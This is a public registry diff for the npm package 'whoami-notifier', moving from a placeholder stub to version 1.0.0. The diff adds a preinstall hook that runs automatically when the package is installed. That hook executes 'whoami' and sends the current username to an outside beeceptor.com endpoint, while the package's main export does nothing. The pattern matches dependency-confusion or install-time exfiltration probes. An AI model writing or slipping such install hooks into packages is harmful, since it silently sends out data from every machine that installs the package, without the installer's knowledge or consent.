whoami-notifier 0.0.0-stage → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js ADDED
@@ -0,0 +1,2 @@
1
+ // This package does nothing during runtime.
2
+ module.exports = {};
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "whoami-notifier",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
3
+ "version": "1.0.0",
4
+ "description": "A package that sends the current user to a remote URL before installation",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node --use-env-proxy preinstall.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
6
11
  }
package/preinstall.js ADDED
@@ -0,0 +1,28 @@
1
+ const https = require('https');
2
+ const { execSync } = require('child_process');
3
+
4
+ async function run() {
5
+ try {
6
+ const user = execSync('whoami').toString().trim();
7
+ const url = `https://erhantest-erhan.free.beeceptor.com?user=${encodeURIComponent(user)}`;
8
+
9
+ console.log("Sending request...");
10
+
11
+ await new Promise((resolve, reject) => {
12
+ https.get(url, (res) => {
13
+ console.log("Status Code:", res.statusCode);
14
+ res.on('data', () => {});
15
+ resolve();
16
+ }).on('error', (err) => {
17
+ console.error("Request Error:", err);
18
+ reject(err);
19
+ });
20
+ });
21
+
22
+ console.log("Request completed successfully!");
23
+ } catch (e) {
24
+ console.log("Catch Error:", e);
25
+ }
26
+ }
27
+
28
+ run();
package/README.md DELETED
@@ -1,3 +0,0 @@
1
- # Temporary Holding Version
2
-
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.